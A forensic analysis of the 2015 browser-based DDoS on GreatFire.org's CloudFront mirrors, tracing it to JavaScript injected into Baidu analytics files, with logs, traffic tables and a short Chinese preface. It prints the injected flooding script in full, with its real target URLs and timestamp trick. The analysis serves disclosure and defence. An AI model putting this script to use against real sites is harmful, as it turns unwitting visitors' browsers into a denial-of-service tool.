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　　http://www.thenewslens.com/post/144232/ 这是原文介绍，可能国内要用网络加速器才能查看。

以下是国外的一些文档介绍：Cyberspace Administration of China DDoS Attack Forensics.pdf

Using Baidu百度 to steer millions of computersto launch denial of service attacks

or How the Great Fire Anti Censorship Projectand Amazon's Cloud Front are under Denial of Service attack.25th March 2015

The Greatfire.org's Internet Project has successfully unblocked websites inside China by
deploying a set of online mirror sites hosted in large Content Distribution Networks
(CDNs) such as Amazon's Cloud Front.
The 18th of March 2015, the project reported on their website that they were suffering from
a large Denial of Service attack that started the day before. This document summarizes
our technical findings and describes in detail how the largest application layer attack ever
seen has been implemented.

The attackers have implemented a sneaky mechanism that allows them to manipulate a
part of the “legitimate traffic” from inside and outside China to launch and steer Denial of
Service attacks against Cloudfront and the Greatfire.org's anti censorship project.
Our work reveals
• That global readers visiting thousand of websites hosted inside China are randomly
receiving malicious code that will force them to launch cyber attacks.
• That malicious code is sent when normal readers load resources from Baidu's servers
as Javascript files are hosted in dup.baidustatic.com, ecomcbjs.jomodns.com,
cbjs.e.shifen.com, hm.baidu.com, eclick.baidu.com, pos.baidu.com,
cpro.baidu.com and hm.e.shifen.com.
• That Baidu's Analytics code (h.js) is one of the files replaced by malicious code
triggering the attacks.
• That malicious code is sent to “any reader globally” without distinction of
geographical location with the only purpose of launching a denial of service attacks
against Greatfire.org and the Cloud Front infrastructure.
• That the attacks are targeting not thousands, but millions of computers around the
world, which in their turn attack Amazon infrastructure.
• That the tampering seems to take place when traffic coming from outside China
reaches the Baidu's servers.

Not just a normal attack (18th March 2015)

During the 18th of March 2015, we looked into the webserver logs of the attacked sites. The
Greatfire.org's project runs several mirror sites inside the Amazon infrastructure and due
to the large volume of logs (one single hour of log files is 33GB), we decided to focus on
one single site “d19r410x06nzy6.cloudfront.net” during the period of one hour.
Our research consisted in trying to find hints within the 500 log files, containing a total of
100 million requests, on how the attack was carried out. A sample of a request from one of
the log files is presented below.

2015-03-18 11:52:13 JFK1 66.65.x.x
GET /?1425369133
http://pos.baidu.com/wh/o.htm?ltr=https://www.google.com/&cf=u
Mozilla/5.0 (Linux; Android 4.4.4; SM-N910V Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109
2015-03-18 11:52:13 JFK1 71.175.x.x
GET /?1425369133
http://www.17k.com/chapter/471287/1 7884999.html
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/4

The first request tells us that the 18th of March 2015, one computer with IP 66.65.x.x sent
a GET request with the content (?1425369133) as a redirection of the search request
(https://www.google.com) in baidu.com. This request was routed by Amazon into China
via their servers in New York city (JFK1).
The logs indicate that the attack was originated by computers distributed all around the
world, that were flooding the server with requests of the form
GET /?142xxxxxxx
-

More than ten million computers distributed all over the world where sending requests to
Greatfire.org servers hosted behind Amazon's Cloud Front.
Each computer involved in the attack was sending a relative small number of requests (1 –
50 unique requests during one hour).
The requests seemed to include a “timestamp”. The “timestamp” was included in all
requests to generate unique random queries against the attacked sites. After looking into
100 million timestamps we concluded that those timestamps where somehow correlated
with the timezone of the source of the traffic.

Where was the traffic originated? (19th March 2015)

Amazon Web Services names their Edge Locations after the closest International Airport
IATA Code. For example the code AMS1 is for Amsterdam or JFK for John F. Kennedy
in New York. This piece of information in the logs helped us to understand the distribution
of the computers that were launching the attack.
We extracted all the airport codes of the logs and 70% of the requests were originated from
TPE50, HKG50 and HKG51. No surprise there! The surprising result is that the remaining
30% was well distributed across 50 other edges around the world.

EDGE	% Traffic
TPE50	28.21%
HKG51	22.69%
HKG50	18.11%
SIN3	4.14%
MNL50	2.91%
SIN2	2.84%
SYD2	2.82%
ICN51	2.51%
LH50	1.55%

Image: Distribution of attack traffic across Cloud Front global infrastructure.

Image: Geo location of attack traffic (600 randomly
chosen
IPs

Another  interesting  aspect  of the  logs was that  the  attack  seem ed to  be generated  when readers  were  visiting  a myriad
 of different  websites.  But  out  of 9000 different  websites,

38% included resources linked with one or
several Baidu servers.

SITES	%
pos.baidu.com	37.14%
tieba.baidu.com	2.42%
www.dm5.com	1.83%
www.7k7k.com	1.54%
zhidao.baidu.com	1.48%
www.piaotian.net	1.22%
mangapark.com	1.03%
www.4399.com	0.99%

Table: Referer's distribution of the attack traffic

By the 19th of March 2015, we concluded that the majority of the attack was originated by Chinese speaking readers all around
the world, unaware of that when visiting Chinese sites they were  launching a denial  of service  attack  against  Cloud Front  and the  Greatfire.org project.

Finding  the malicious code (20th  March 2015)

Finding  the  malicious  code  was
 the  real  challenge.  We  performed
 connections  to  all possible websites that could inject the malicious code without luck for two days.

On  the  20th   of  March,  we  found the  first  “hint”  that  we  were  looking into  the  right direction. Google (Cache) search engine seemed to have retrieved the malicious code while crawling a the sites: http://www.sctv.cnand  http://china.cankaoxiaoxi.com

Image: Google's cache returns traces of the GET flood attack

We focused our energy into reviewing a dozen of Javascript files served by those sites. But no luck! No sign of the malicious code.

The  mysterious timestamps  (21st   of March 2015)

By  the  forth  day of forensic  analysis,  we looked  into  the  sequence  of values  of the  100 million collected “timestamps”. We normalized the “timestamps” that were recorded in the logs with the timezone of each of the Amazon CDN's edges. The “timestamps” looked like epoch  or Unix  time,  a system  for describing  the  time  in seconds  since  the  Thursday,  1

January 1970.

Without doubt, the “timestamps” where computed in the browser of
the readers and contained the “epoch” with an offset of minus 360 hours (21600 seconds).

This aspect will later turn out to be fundamental to fingerprint the malicious code and its attackers.

But, “Urlquery.net”saw themalicious code! (22nd  of March 2015)

UrlQuery.net is a service for detecting and analyzing web-based malware. The site provides detailed  information  about  which
 activities  a  browser  does  while
 visiting  a  site,  and
presents the information for further analysis.

We  searched  urlQuery.net  with  the  expectation  that  they  might  have  recorded  the malicious code and we discovered an interesting report that seemed to support our assumptions. “Something” close to Baidu's infrastructure was sending malicious attack code to legitimate readers when browsing thousand of websites.

http://urlquery.net/report.php?id=1426672633782

Image: Relationship between requests triggered when loading the zhao.juji123.com website

The  report  shows  that  while  visiting
 the  site  http://zhao.juji123.comconnections  are triggered against sites hosted at cloudfront.net with the request:

GET /?1425380211 HTTP/1.1

Host: d14qqseh1jha6e.cloudfront.net

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Accept: text/plain, */*; q=0.01

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://pos.baidu.com/wh/o.htm?ltr=&cf=u

Origin: http://pos.baidu.com

Image: h.js form hm.baidu.com returns malicious code from a “ghost” Apache webserver.

Next,     we  performed another round of test connections  again the servers http://pos.baidu.comand  http://dup.baidustatic.com, but again without luck.

We reached  out  to  urlQuery.net  and they  reviewed a
few of their  reports  that  involved Baidu's  servers  and outbound  connections  to  cloudfront.net  hosted  domains  and in all of
them there was a very distinctive pattern in some random responses.

HTTP/1.0 200 OK

Content-Type: text/javascript

Server: Apache

Content-Length: 1325

Connection: keep-alive

A few responses seemed to come from a “ghost” Apache webserver.

Connections   to   Baidu   server   with   ip   address   123.125.65.120 and  domain  names dup.baidustatic.com,  ecomcbjs.jomodns.com  and cbjs.e.shifen.com  do   “sometimes”  return an unexpected answer.

The  same  behavior  could be  observed  when  connecting  to  server  61.135.185.140  with domains  hm.baidu.com and hm.e.shifen.com.

Fortunately, urlQuery.net had stored the malicious code!

The  injected code (23st  of March 2015)

The  code that  trigger  the  attacks  is  a “Javascript”  probably sent  by a transparent  proxy inside of the Chinese infrastructure when legitimate traffic connects to a Baidu servers.

The code was found in the file “h.js”.

Baidu  Analytics' JS tracking file (h.js) was used to trigger remote attacks!

The code looks like this:

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");

startime = new Date().getTime();

var count = 0;

function unixtime() {

var dt = new Date();

var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000;

return ux;

}

url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net") NUM
= url_array.length;

function r_send2() {

var x = unixtime() % NUM; var url = url_array[x]; get(url);

}

function get(myurl) {

var ping;

$.ajax({

url: myurl + "?" + unixtime(), dataType: "text",

timeout: 10000, cache: true,

beforeSend: function() {

requestTime = new Date().getTime();

},

complete: function() {

responseTime = new Date().getTime();

ping = Math.floor(responseTime - requestTime);

if (responseTime - startime < 300000) {

r_send(ping);

count = count + 1;

}

}

});

}

function r_send(ping) {

setTimeout("r_send2()", ping);

}

setTimeout("r_send2()", 2000);

The code contains some distinctive fingerprints that ratifies that this code is what triggers the massive attacks.

The timestamp: the “timestamp” is computed with the function unixtime(). The authors of the code made a mistake  in the  coding. The coder  confused the function  getDate()  for getDay() to obtain the day of the month.

For the 18th  of March the GetDay() will return 3, as 18th  of March of 2015 is Wednesday. That  explains  why the  timestamps that  we received  had 15 days (360 hours)  offset.  This “bug” told us that we were looking into the right piece of code!.

function unixtime() {

var dt = new Date();

var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000;

return ux;

}

The targets:  the code includes the list of targets (https)  connections to  the cloudfront.edges  and the  code url:  myurl  + "?"  + unixtime()  matches  the  fingerprint  of the  GET flooding.

url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net")

How  to find the code in Google Cache (24th  of March 2015)

Another implementation of the attack is available at:

view-source:http://webcache.googleusercontent.com/search?q=cache:5doYx-zimQ8J:wa.hm.baidu.com/

The  server  wa.hm.baidu.com, hm.e.shifen.com  also  with  IP  61.135.185.140  returns  the malicious code.

Where  is the tampering taking place? (25th  March2015)

We  have  looked  into  the  operators  (Autonomous  Systems)  that  are  routing  the  traffic towards the sites that are serving the malicious code and t he following ASNs have access to traffic towards the Baidu's sites AS4837/AS4808 CNCGROUP, AS4134 Chinanet and AS58461 No 288

This is a list of IPs and URLs that are sending the DDOS launcher.

Date	IPs	URLs
18th-20th March 2015	61.135.185.140 123.125.65.120	hm.baidu.com/h.js
		cbjs.baidu.com/js/o.js
		dup.baidustatic.com/tpl/wh.js
		dup.baidustatic.com/tpl/ac.js
		dup.baidustatic.com/painter/clb/fixed 7o.js
		dup.baidustatic.com/painter/clb/fixed 7o.js

Date	IPs	URLs
20th – 23rd   March 2015	123.125.115.164 115.239.210.141 115.239.211.17	eclick.baidu.com/fp.htm?br= ...
		pos.baidu.com/acom?adn= ...
		cpro.baidu.com/cpro/ui/uijs.php?tu=...
		pos.baidu.com/sync_pos.htm?cproid=...

Online References

UrlQuery.net

http://urlquery.net/

DDoS  Announcement

https://en.greatfire.org/blog/2015/mar/we-are-under-attack

Greatfire.org faces daily $30,000 bill from DDoS
 attack

https://nakedsecurity.sophos.com/2015/03/20/greatfire-org-faces-daily-30000-bill-from-ddos-attack/